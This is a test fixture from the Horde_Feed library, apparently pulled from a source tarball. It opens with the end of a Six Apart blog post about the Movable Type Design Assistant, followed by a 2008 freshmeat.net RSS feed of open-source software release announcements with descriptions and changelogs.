selection of hand-picked learning resources.</p> <p><span style='float: right;'><a href='http://www.movabletype.org/design/assistant/' style="text-decoration : none; border : none;"><img src='http://pics.livejournal.com/daveman692/pic/001tbaze/s320x320' /></a></span></p> <p>It's similar, in a lot of ways, to the thought 37signals puts into the so-called "<a href='http://www.37signals.com/svn/posts/90-design-decisions-backpack-page-blank-slate'>blank slate</a>" state for their applications. When you start out using their services and haven't yet entered any data, the tools provide illustrations of what they'll look like in actual use which get you in the right mindset. We know there's an opportunity to get people who are just thinking "I need to pick a theme" to think in the mindset of a designer.</p> <p>Movable Type was the first blogging platform to popularize CSS-based designs and are proud to count many of the world's most talented and influential designers as members of our community. But we're just as interested in getting people who've never consciously thought about web design to make a first step towards appreciating one of the greatest things blogs have brought to the web: <strong>An appreciation for design</strong>.</p> <p>Alright, designers: What should we add to the Assistant? We're going to be evolving the tool rapidly based on your feedback, bringing these capabilities to TypePad members and adding a wide range of new functionality. Your input is going to help us choose where we go next. You can also <a href='http://www.movabletype.org/2008/02/movable-type-design-assistant.html'>read more about it</a> on MovableType.org.</p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=926S7H"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=926S7H" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=hx2XjH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=hx2XjH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=QkzpfH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=QkzpfH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=srbtoh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=srbtoh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870249" height="1" width="1"/> http://www.sixapart.com/blog/2008/02/teaching-bloggers-to-fish.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-freshmeat.net-backend-fm.rdf0000664000175000017500000030433312653701626026222 0ustar janjan freshmeat.net announcements (Global)http://freshmeat.netThe last 24 hours worth of freshmeat.net releasesMon, 22 Sep 2008 04:29:22 GMTPyRSS2Gen-1.0.0http://blogs.law.harvard.edu/tech/rssDBsight 1.6.0 (Bundled with App Server branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/2w7OrHsTEkQ/<img src="http://c.fsdn.com/fm/screenshots/54788_thumb.gif" align="right" alt="Screenshot" hspace="10" vspace="10"> DBSight is a J2EE search platform for instant scalable full-text search on any relational database, for both beginners and experts. It features a built-in database crawler following user-defined SQL, incremental indexing, user-controllable result ranking, the ability to return results with highlights (like Google), and categorized result counts (like Amazon). It can easily integrate with other languages with XML/JSON/HTML. There is a UI for all operations, so no Java coding is necessary. Deleted or updated records in database can be synchronized also. <hr /> <strong>License:</strong> Free for non-commercial use <hr /> <strong>Changes:</strong><br /> This release fixes Lucene memory leaking when refreshing the index in memory-only mode. It adds configurable max field length. It can process an empty query by matching all documents in multi-index search mode. It handles SqlServer special empty or all zero date time formats. <p><a href="http://feedads.googleadservices.com/~a/XUl9U0zkzasEjbkoy7s-2csNflY/a"><img src="http://feedads.googleadservices.com/~a/XUl9U0zkzasEjbkoy7s-2csNflY/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/2w7OrHsTEkQ" height="1" width="1"/>http://freshmeat.net/releases/285248/Mon, 22 Sep 2008 03:48:47 GMThttp://freshmeat.net/releases/285248/wiipdf 1.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/hilc-Xa8hTQ/wiipdf is a tiny tool to present a PDF using xpdf and your Wiimote. You start it by providing it the bluetooth ID of your Wiimote (use hcitool scan to get it) and the path to the PDF you want to present. wiipdf then tries to connect to your Wiimote (press buttons 1 and 2 at the sime time on your Wiimote to enter discoverable mode). As soon as the connection is established (usually 3-4 seconds), wiipdf launches xpdf with the given filename. You can now press A or B on your Wiimote to go forward or backward one slide. Pressing the home button ends the presentation. Each keypress is confirmed by a short rumble. <p><a href="http://feedads.googleadservices.com/~a/QMP1s1G8FThlrELinkRL8lWjRwI/a"><img src="http://feedads.googleadservices.com/~a/QMP1s1G8FThlrELinkRL8lWjRwI/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/hilc-Xa8hTQ" height="1" width="1"/>http://freshmeat.net/releases/285240/Mon, 22 Sep 2008 00:22:12 GMThttp://freshmeat.net/releases/285240/Chiron 1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/j8w1Otz4eJI/Chiron was written to demonstrate that you could embed special tokens in an infobots fact file so that recalling/matching a fact causes novel/interesting and hopefully useful behaviour. The 'tokens' gradually gained functionality, and now the factoids themselves are fully programmable. A tracing feature is used to automatically follow instructions, generate the code, and then learn it as a fact. There are many other features, including a hooking system for plugging multiple backend engines in to process what it sees, etc. The current problem with the program is the lack of documentation. <p><a href="http://feedads.googleadservices.com/~a/gaf6Esb9o7w3uNc4rMhmdvC0x78/a"><img src="http://feedads.googleadservices.com/~a/gaf6Esb9o7w3uNc4rMhmdvC0x78/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/j8w1Otz4eJI" height="1" width="1"/>http://freshmeat.net/releases/285245/Mon, 22 Sep 2008 00:22:02 GMThttp://freshmeat.net/releases/285245/GiftedMotion 1.2 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/YOOnbUClxiM/<img src="http://c.fsdn.com/fm/screenshots/69509_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> GiftedMotion is a small and easy-to-use GIF animator. If you need a simple way to turn a series of still images into an animation to be displayed on a Web page without the hassle of learning how to use a full-blown graphics suite, then GiftedMotion is probably the tool for you. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release fixes a bug that prevented the delay time between frames from being properly saved, fixes the preview pane, adds better support for loading existing animations, and adds support for easily adjusting image offsets. <p><a href="http://feedads.googleadservices.com/~a/WLIP5xVKFF-3fzbBujYZfZNqHME/a"><img src="http://feedads.googleadservices.com/~a/WLIP5xVKFF-3fzbBujYZfZNqHME/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/YOOnbUClxiM" height="1" width="1"/>http://freshmeat.net/releases/285247/Mon, 22 Sep 2008 00:20:07 GMThttp://freshmeat.net/releases/285247/libSpiff 1.0.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/4cezorUjag8/libSpiff is a C++ library for reading and writing XSPF playlists. Both version 0 and 1 are supported. It is the official reference implementation for XSPF of the Xiph.Org Foundation. <hr /> <strong>License:</strong> BSD License (revised) <hr /> <strong>Changes:</strong><br /> Besides bugfixes and cleanups, this release mainly features a redesigned XSPF writing API and malicious XML detection à la billion laughs. The writing API in previous releases was unnecessarily ugly; it should be better now. Malicious XML detection should be of greatest interest to people using libSpiff in Web services. More about its internals and configuration can be found in the API documentation. <p><a href="http://feedads.googleadservices.com/~a/xziVtDIcVtrUQjfqmRGU2EMFjrw/a"><img src="http://feedads.googleadservices.com/~a/xziVtDIcVtrUQjfqmRGU2EMFjrw/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/4cezorUjag8" height="1" width="1"/>http://freshmeat.net/releases/285239/Sun, 21 Sep 2008 23:50:21 GMThttp://freshmeat.net/releases/285239/my Knowledge Explorer 8.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/5l7176R1Ckg/<img src="http://c.fsdn.com/fm/screenshots/63497_thumb.gif" align="right" alt="Screenshot" hspace="10" vspace="10"> myKnowledgeExplorer (mKE) is an intelligent knowledge base assistant. All communication is in a user-friendly, English-like language called mKR. mKR is designed to help human beings work more intelligently. mKE command line options include language definitions for RDF, OWL, CYC, and SUMO. mKR scripts may include embedded calls to the Unix shell. mKR gives special emphasis to context hierarchies, genus-differentia definitions, n-ary relations, questions, and action/methods. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release implements context pipes and new logic "for" loops. <p><a href="http://feedads.googleadservices.com/~a/cKgtV1FGzNFpdiFX7r9Mczh82Jc/a"><img src="http://feedads.googleadservices.com/~a/cKgtV1FGzNFpdiFX7r9Mczh82Jc/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/5l7176R1Ckg" height="1" width="1"/>http://freshmeat.net/releases/285241/Sun, 21 Sep 2008 23:48:12 GMThttp://freshmeat.net/releases/285241/Subtitle Editor 0.24.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/9XYvF04o7P8/<img src="http://c.fsdn.com/fm/screenshots/58764_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Subtitle Editor is a GTK+2 tool to edit subtitles for GNU/Linux/*BSD. It can be used for new subtitles or as a tool to transform, edit, correct, and refine existing subtitles. It also shows sound waves, which makes it easier to synchronize subtitles to voices. <hr /> <strong>License:</strong> GNU General Public License v3 <hr /> <strong>Changes:</strong><br /> A new error checking tool with correction support, improvements, bugfixes, and updated translations. <p><a href="http://feedads.googleadservices.com/~a/gKXiekA-NU1ftSyvvFHlUmobwKw/a"><img src="http://feedads.googleadservices.com/~a/gKXiekA-NU1ftSyvvFHlUmobwKw/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/9XYvF04o7P8" height="1" width="1"/>http://freshmeat.net/releases/285242/Sun, 21 Sep 2008 23:47:41 GMThttp://freshmeat.net/releases/285242/BindAgentX 0.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/mvtkKlInsDU/<img src="http://c.fsdn.com/fm/screenshots/70264_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> BindAgentX is an AgentX subagent for Net-SNMP to provide statistics about the BIND name daemon to SNMP. BindAgentX parses the names.stats from BIND versions later than 9.5 and serves these values through SNMP. A MIB is included. <hr /> <strong>License:</strong> GNU General Public License v2 <hr /> <strong>Changes:</strong><br /> Some cacti templates have been added. <p><a href="http://feedads.googleadservices.com/~a/KpZCpE5dwGnVdMFmyQ2WGdcjH20/a"><img src="http://feedads.googleadservices.com/~a/KpZCpE5dwGnVdMFmyQ2WGdcjH20/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/mvtkKlInsDU" height="1" width="1"/>http://freshmeat.net/releases/285243/Sun, 21 Sep 2008 23:47:20 GMThttp://freshmeat.net/releases/285243/Seed7 2008-09-21 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/xcJqLicvQeo/Seed7 is a general purpose programming language. It is a higher level language compared to Ada, C++, and Java. In Seed7, new statements and operators can be declared easily. Functions with type results and type parameters are more elegant than a template or generics concept. Object orientation is used when it brings advantages and not in places when other solutions are more obvious. Although Seed7 contains several concepts of other programming languages, it is generally not considered as a direct descendant of any other programming language. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> The chapters about object orientation and primitive actions in the manual were improved. The bas7.sd7 (basic interpreter) example program was improved. The compiler (comp.sd7) was improved to support several new primitive actions and HASHOBJECT constants. A binary gcd function was added to the gcd.sd7 example program. The X11 keyboard driver was improved to support the num-lock functionality. The functions hash_data_to_list and hash_key_to_list were added to the file listutl.c . The functions matchExpr, setVar, hash_data_to_list, and hash_key_to_list were added to the progs.s7i library. <p><a href="http://feedads.googleadservices.com/~a/S_hTuxMoGZM2rgKdV4wNzvezLzM/a"><img src="http://feedads.googleadservices.com/~a/S_hTuxMoGZM2rgKdV4wNzvezLzM/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/xcJqLicvQeo" height="1" width="1"/>http://freshmeat.net/releases/285244/Sun, 21 Sep 2008 23:45:09 GMThttp://freshmeat.net/releases/285244/Reverse Snowflake Joins 0.15 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/5akOcwI7O9o/Reverse Snowflake Joins is a tool that parses SQL Select statements and generates a diagram. In addition to joins, the diagram shows parts of the underlying SQL directly in the diagram. For example x=30, GROUP BY (year), SUM(profit), HAVING MIN(age) > 18. <hr /> <strong>License:</strong> BSD License (revised) <hr /> <strong>Changes:</strong><br /> This release adds partial support for subselects. The test code is in its own file. <p><a href="http://feedads.googleadservices.com/~a/SU2IaJKDZ_iLE7rxgvcqrD5Glx4/a"><img src="http://feedads.googleadservices.com/~a/SU2IaJKDZ_iLE7rxgvcqrD5Glx4/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/5akOcwI7O9o" height="1" width="1"/>http://freshmeat.net/releases/285246/Sun, 21 Sep 2008 23:43:23 GMThttp://freshmeat.net/releases/285246/Nanoki 1.10 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/QGFsIs6FyfI/<img src="http://c.fsdn.com/fm/screenshots/67969_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Nanoki is a simple, elegant wiki engine implemented in Lua. <hr /> <strong>License:</strong> MIT/X Consortium License <hr /> <strong>Changes:</strong><br /> This release introduces support for Ident (RFC 1413) as well as various bugfixes. <p><a href="http://feedads.googleadservices.com/~a/VDZ2tIaKPwPGGIm8X9HroGxX8lE/a"><img src="http://feedads.googleadservices.com/~a/VDZ2tIaKPwPGGIm8X9HroGxX8lE/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/QGFsIs6FyfI" height="1" width="1"/>http://freshmeat.net/releases/285235/Sun, 21 Sep 2008 19:39:21 GMThttp://freshmeat.net/releases/285235/ELinks 0.11.5 (Stable branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/yQ7X5E-XeZ0/<img src="http://c.fsdn.com/fm/screenshots/19493_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> ELinks is an advanced and well-established feature-rich text mode Web (HTTP, FTP, etc.) browser. It can render both frames and tables, is highly customizable, and can be extended via Lua, Guile, Perl, or Ruby scripts. It has limited support for CSS and Javascript. <hr /> <strong>License:</strong> GNU General Public License v2 <hr /> <strong>Changes:</strong><br /> This release fixes a critical bug in the SMJS browser scripting module and an assertion failure in the search dialogs on systems lacking the regex.h header file. Also notable are fixes for parsing and updating of the elinks.conf file. Support for libgnutls-openssl has been disabled, as it is not GPLv2 compatible since GnuTLS 2.2.0. <p><a href="http://feedads.googleadservices.com/~a/EElispRM7ZHrMOr3UhgAP9NbhdQ/a"><img src="http://feedads.googleadservices.com/~a/EElispRM7ZHrMOr3UhgAP9NbhdQ/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/yQ7X5E-XeZ0" height="1" width="1"/>http://freshmeat.net/releases/285234/Sun, 21 Sep 2008 19:39:02 GMThttp://freshmeat.net/releases/285234/FET 5.6.4 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/FofMKip0soc/FET (free timetabling tool) automatically schedules the timetable of a school, high school, or university. It aims to have the same functionality as expensive scheduling programs. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> Improved Arabic, Italian, and Lithuanian translations. A very rare situation has been improved. The ability to optionally mark with -x- the unavailable slots in timetables has been added. All activities timetables have been added. Export of the timetable in CSV format has been added. <p><a href="http://feedads.googleadservices.com/~a/rVr3U5Pmu1K1SAsQImYrhNmjh60/a"><img src="http://feedads.googleadservices.com/~a/rVr3U5Pmu1K1SAsQImYrhNmjh60/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/FofMKip0soc" height="1" width="1"/>http://freshmeat.net/releases/285232/Sun, 21 Sep 2008 19:37:54 GMThttp://freshmeat.net/releases/285232/PDF Split and Merge 1.0.2 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/RUm2LuygG_w/<img src="http://c.fsdn.com/fm/screenshots/59223_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> PDF Split and Merge (pdfsam) is an easy-to-use tool that provides functions to split and merge PDF files or subsections of them. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> Bug #2098518 has been fixed (the one that made pdfsam freeze), the langpack has been updated, and a context menu with copy/cut/paste has been added to the destination text fields. <p><a href="http://feedads.googleadservices.com/~a/HnIeMpXRO-aZ8B-UE0QIZBQYDug/a"><img src="http://feedads.googleadservices.com/~a/HnIeMpXRO-aZ8B-UE0QIZBQYDug/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/RUm2LuygG_w" height="1" width="1"/>http://freshmeat.net/releases/285231/Sun, 21 Sep 2008 19:33:57 GMThttp://freshmeat.net/releases/285231/read-edid 2.0.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/GK744ZJmMlQ/read-edid gets the specs of a monitor from the hardware, and automates making XFree86 modelines. It only works with recent video cards (with the EDID VBE extension) and monitors (with DDC) on PCs (at least x86 and AMD-64 are now supported; others are untested). <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> lrmi has been replaced with libx86. This release should compile on at least x86 and AMD-64, possibly others. <p><a href="http://feedads.googleadservices.com/~a/Ecz_7kF_kCLWejm7suFdnecpzTo/a"><img src="http://feedads.googleadservices.com/~a/Ecz_7kF_kCLWejm7suFdnecpzTo/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/GK744ZJmMlQ" height="1" width="1"/>http://freshmeat.net/releases/285230/Sun, 21 Sep 2008 17:47:42 GMThttp://freshmeat.net/releases/285230/bftpd 2.2.1 (Development branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/FCGIf1dwVf8/bftpd is a very configurable Linux FTP server which can do chroot without special configuration or directory preparation. It will work out-of-the-box with almost no configuration required, and works on all Unix variants tested. Most FTP commands are supported, and user authentication is done via passwd/shadow or PAM. tar/gzip on-the-fly is supported. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release provides one bugfix that would cause problems or a crash in environments where bftpd was started without stdin, stdout, or stderr streams. <p><a href="http://feedads.googleadservices.com/~a/_p_wxD9MufTgNDV5c7zxAkOtWnw/a"><img src="http://feedads.googleadservices.com/~a/_p_wxD9MufTgNDV5c7zxAkOtWnw/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/FCGIf1dwVf8" height="1" width="1"/>http://freshmeat.net/releases/285228/Sun, 21 Sep 2008 17:39:57 GMThttp://freshmeat.net/releases/285228/Freeciv Web Client 1.0.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/wrwcnbh7Szs/<img src="http://c.fsdn.com/fm/screenshots/70280_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> The Freeciv Web Client is a strategy game which can be played against other players. The game is a fork of Freeciv which is implemented with a Web-based interface. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This is a maintenance release featuring some new features and bugfixes. <p><a href="http://feedads.googleadservices.com/~a/x81--xpJnRjdmO2z4z3JzGicLkU/a"><img src="http://feedads.googleadservices.com/~a/x81--xpJnRjdmO2z4z3JzGicLkU/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/wrwcnbh7Szs" height="1" width="1"/>http://freshmeat.net/releases/285227/Sun, 21 Sep 2008 17:32:32 GMThttp://freshmeat.net/releases/285227/Relational 0.6 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/8LVSOui7pkY/Relational is an interface to load relations from a file, to write relational algebra queries, and to see their result. This software has educational purposes, since it makes it possible to immediately evaluate if a query is correct or not. For developers, it provides a relational algebra Python module which can be used within other projects. <hr /> <strong>License:</strong> GNU General Public License v3 <hr /> <strong>Changes:</strong><br /> Fixes to run on Mac OS X. A Makefile has been added. This release is able to create OS X .app files using "make app". It is able to create a tar.gz file containing a Mac OS X application and samples using "make mac". <p><a href="http://feedads.googleadservices.com/~a/bbeaDxhtdOV6KqIPSZgwdXi0jes/a"><img src="http://feedads.googleadservices.com/~a/bbeaDxhtdOV6KqIPSZgwdXi0jes/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/8LVSOui7pkY" height="1" width="1"/>http://freshmeat.net/releases/285225/Sun, 21 Sep 2008 17:30:15 GMThttp://freshmeat.net/releases/285225/httpx 0.0.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/3H96EyT76MU/Httpx takes over the front-line position of binding and listening on the public address and port of your virtual Web hosting server. In this role, it scans incoming requests looking for the HTTP/1.1 Host: request header entity. Once the Host: value is found for a given request, it is routed to a UNIX domain socket in the local file system located through a database lookup. Over this UNIX domain socket, an inter-process descriptor pass occurs to a Web server modified slightly to receive TCP passed socket descriptors over a UNIX domain socket instead of binding, listening for, and accepting TCP sockets. This allows vhosts to share an IP address while having private, host-specific, potentially unique httpd contexts. <p><a href="http://feedads.googleadservices.com/~a/dUJXRhSIvNk7nYvC8YI8UZtbetM/a"><img src="http://feedads.googleadservices.com/~a/dUJXRhSIvNk7nYvC8YI8UZtbetM/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/3H96EyT76MU" height="1" width="1"/>http://freshmeat.net/releases/285224/Sun, 21 Sep 2008 17:27:05 GMThttp://freshmeat.net/releases/285224/MuseScore 0.9.3 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/qze8bV5Tr1s/<img src="http://c.fsdn.com/fm/screenshots/47126_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> MuseScore is a graphical WYSIWYG music score typesetter. Notes are entered on an "virtual note sheet". As notes are entered, the score is immediately reformatted. It uses the LilyPond project's TrueType fonts. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release implements a new compressed file format (*.mscz), adds a lot of other new features, fixes some bugs, and tries to speed up/optimize the layout. The script plugin interface has bindings to the whole Qt library. New score elements are glissando and tremolo symbols between notes. Tuplet types are extended and can now contain notes and rests of different length. <p><a href="http://feedads.googleadservices.com/~a/EveAVm9U1PzZWUb_dpmuAX4oyOA/a"><img src="http://feedads.googleadservices.com/~a/EveAVm9U1PzZWUb_dpmuAX4oyOA/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/qze8bV5Tr1s" height="1" width="1"/>http://freshmeat.net/releases/285222/Sun, 21 Sep 2008 17:24:39 GMThttp://freshmeat.net/releases/285222/FoxTray 0.2.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/y46ACysM6Ms/<img src="http://c.fsdn.com/fm/screenshots/69973_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> FoxTray is a tray icon class for the FOX Toolkit. It displayes an icon in the system tray. FoxTray works under X11 and Windows. <hr /> <strong>License:</strong> BSD License (revised) <hr /> <strong>Changes:</strong><br /> The icon is now recreated if the tray is restarted. The icon is also shown if the tray was not started on application launch. <p><a href="http://feedads.googleadservices.com/~a/zhsQLOCxiJfV6On_sT0U0srliZE/a"><img src="http://feedads.googleadservices.com/~a/zhsQLOCxiJfV6On_sT0U0srliZE/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/y46ACysM6Ms" height="1" width="1"/>http://freshmeat.net/releases/285221/Sun, 21 Sep 2008 13:18:40 GMThttp://freshmeat.net/releases/285221/Tiny Tiny RSS 1.2.27 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/qIfgmmNeb2s/<img src="http://c.fsdn.com/fm/screenshots/55851_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Tiny Tiny RSS is a Web-based news (RSS, RDF, or Atom) feed aggregator designed to allow you to read news from any location, while feeling as close to a real desktop application as possible. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release fixes various reported bugs and adds some interface improvements. <p><a href="http://feedads.googleadservices.com/~a/UAYcNoK31Z5ouGiJLJKrPAU6Bn4/a"><img src="http://feedads.googleadservices.com/~a/UAYcNoK31Z5ouGiJLJKrPAU6Bn4/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/qIfgmmNeb2s" height="1" width="1"/>http://freshmeat.net/releases/285220/Sun, 21 Sep 2008 13:17:36 GMThttp://freshmeat.net/releases/285220/Virtual Ideal Functionality Framework 0.7 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/9ZvF6JFrn3g/Virtual Ideal Functionality Framework is a framework for creating efficient and secure multi-party computations (SMPC). Players, who do not trust each other, participate in a joint computation based on their private inputs. The computation is done using a cryptographic protocol which allows them to obtain a correct answer without revealing their inputs. Operations supported include addition, multiplication, and comparison, all with Shamir secret shared outputs. <hr /> <strong>License:</strong> GNU Lesser General Public License (LGPL) <hr /> <strong>Changes:</strong><br /> PyOpenSSL is now used instead of GnuTLS and this enables secure connections on Windows. The code dealing with starting a player has been made much more robust and players can now be started in any order. A player can now also be reliably shutdown. A new runtime based on homomorphic Paillier encryption supports just two players. A new protocol for equality testing with secret shared result was added. <p><a href="http://feedads.googleadservices.com/~a/Stw-37JAthY1AbSQxdIgWhayQQU/a"><img src="http://feedads.googleadservices.com/~a/Stw-37JAthY1AbSQxdIgWhayQQU/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/9ZvF6JFrn3g" height="1" width="1"/>http://freshmeat.net/releases/285219/Sun, 21 Sep 2008 13:17:02 GMThttp://freshmeat.net/releases/285219/Piggydb 2.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/KZyomjTcHHE/<img src="http://c.fsdn.com/fm/screenshots/70163_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Piggydb is a Web application for building personal knowledge base systems. You can write your knowledge in the same manner as blogging. Piggydb enables you to create highly structural knowledge by providing the features such as hierarchical tagging and flexible relationships between knowledge fragments. It encourages you to organize your knowledge continuously to discover new ideas or concepts, and moreover enrich your knowledge. <hr /> <strong>License:</strong> The Apache License 2.0 <hr /> <strong>Changes:</strong><br /> This is a minor update with one trivial feature (a list of recently changed filters) and usability changes. <p><a href="http://feedads.googleadservices.com/~a/NoWzFuuV1dDuJIuW41JiZGtJGQ0/a"><img src="http://feedads.googleadservices.com/~a/NoWzFuuV1dDuJIuW41JiZGtJGQ0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/KZyomjTcHHE" height="1" width="1"/>http://freshmeat.net/releases/285218/Sun, 21 Sep 2008 13:15:50 GMThttp://freshmeat.net/releases/285218/AgileWiki 7-4 (Element Model branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/ERquWeyZnXc/AgileWiki is meant to create software systems which are fluid, easily configured and can be reorganized on-the-fly to meet ever changing requirements. It includes a COW-based database, the Rolonics programming paradigm, and semantic inferencing. <hr /> <strong>License:</strong> Common Public License <hr /> <strong>Changes:</strong><br /> Well known rolons have become children of the ark, which simplifies a lot of things. <p><a href="http://feedads.googleadservices.com/~a/eDzMCGrvpy5zl0M9Fp7XEkZmGQQ/a"><img src="http://feedads.googleadservices.com/~a/eDzMCGrvpy5zl0M9Fp7XEkZmGQQ/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/ERquWeyZnXc" height="1" width="1"/>http://freshmeat.net/releases/285217/Sun, 21 Sep 2008 13:14:58 GMThttp://freshmeat.net/releases/285217/Gpredict 1.0 beta 1 (Development branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/wpec2kEn_ms/<img src="http://c.fsdn.com/fm/screenshots/15365_16004_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Gpredict is a real time satellite tracking and orbit prediction program. Besides the general orbital data for satellites, gpredict can also calculate the footprint, visibility, doppler shift, signal loss, and signal delay for each satellite relative to one or more ground stations. The calculated data can be viewed in tables, on maps, or on polar graphs. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release adds support for controlling radios and antenna rotators via Hamlib. <p><a href="http://feedads.googleadservices.com/~a/bETX1sF03Zefa8CqX0abXiGyxsA/a"><img src="http://feedads.googleadservices.com/~a/bETX1sF03Zefa8CqX0abXiGyxsA/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/wpec2kEn_ms" height="1" width="1"/>http://freshmeat.net/releases/285216/Sun, 21 Sep 2008 13:14:32 